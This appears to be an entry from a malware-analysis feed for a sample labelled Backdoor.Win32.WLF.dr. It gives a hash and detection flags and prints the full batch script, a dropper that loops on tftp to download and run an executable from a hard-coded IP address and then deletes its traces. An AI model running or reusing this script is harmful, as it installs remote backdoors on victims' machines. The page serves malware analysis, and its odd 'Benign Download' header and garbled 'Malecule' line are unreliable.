Benign Download

Backdoor.Win32.WLF.dr

Batch script contains a public IPv4 literalWindows del command deletes files
SHA-256cb26ebe4752f060c457229b4d89f6e654805d653d43c46371c734e44db503e9e
MaleculeH₂(CmF)

Evidence

Batch script contains a public IPv4 literal lines 1–13
1@echo off
2cd \Inetpub\scripts
3startDL:
4tftp.exe -i 216.205.125.115 get DL.exe
5if not exist DL.exe goto startDL
6start /w DL.exe
7ren 00.D install.bat
8attrib TFTP* -r
9attrib DL.exe -r
10del TFTP*
11del DL.exe
12install.bat %1
13exit

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.